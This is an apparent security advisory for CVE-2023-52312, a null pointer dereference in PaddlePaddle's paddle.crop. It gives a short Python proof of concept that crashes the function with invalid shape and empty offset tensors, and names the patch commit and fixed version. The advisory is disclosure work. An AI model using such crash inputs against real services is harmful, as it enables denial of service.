CVE Number

CVE-2023-52312

Impact

Null pointer dereference in paddle.crop when tensor dims are invalid . The PoC is as follows:

python

import paddle
import numpy as np

x = paddle.to_tensor(np.random.uniform(0, 10, [2, 2]).astype(np.int32))
shape = paddle.to_tensor([-1, 0], dtype='int32')
offsets = paddle.to_tensor([], dtype='int32')

out = paddle.crop(x, shape, offsets)

Patches

We have patched the issue in commit c074de6911944d5d30d28cc7ce2c7099f1c87bce. The fix will be included in PaddlePaddle 2.6.0.
